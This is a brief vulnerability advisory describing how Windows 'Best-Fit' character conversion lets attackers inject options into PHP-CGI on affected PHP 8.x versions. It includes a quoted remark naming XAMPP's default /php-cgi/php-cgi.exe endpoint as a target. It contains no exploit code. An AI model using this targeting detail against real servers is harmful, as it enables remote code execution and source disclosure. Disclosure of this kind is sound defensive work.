In PHP versions 8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3.* before 8.3.8, when using Apache and PHP-CGI on Windows, if the system is set up to use certain code pages, Windows may use "Best-Fit" behavior to replace characters in command line given to Win32 API functions. PHP CGI module may misinterpret those characters as PHP options, which may allow a malicious user to pass options to PHP binary being run, and thus reveal the source code of scripts, run arbitrary PHP code on the server, etc.
"XAMPP is vulnerable in a default configuration, and we can target the /php-cgi/php-cgi.exe endpoint. To target an explloit .php endpoint (e.g. /index.php), the server must be configured to run PHP scripts in CGI mode."
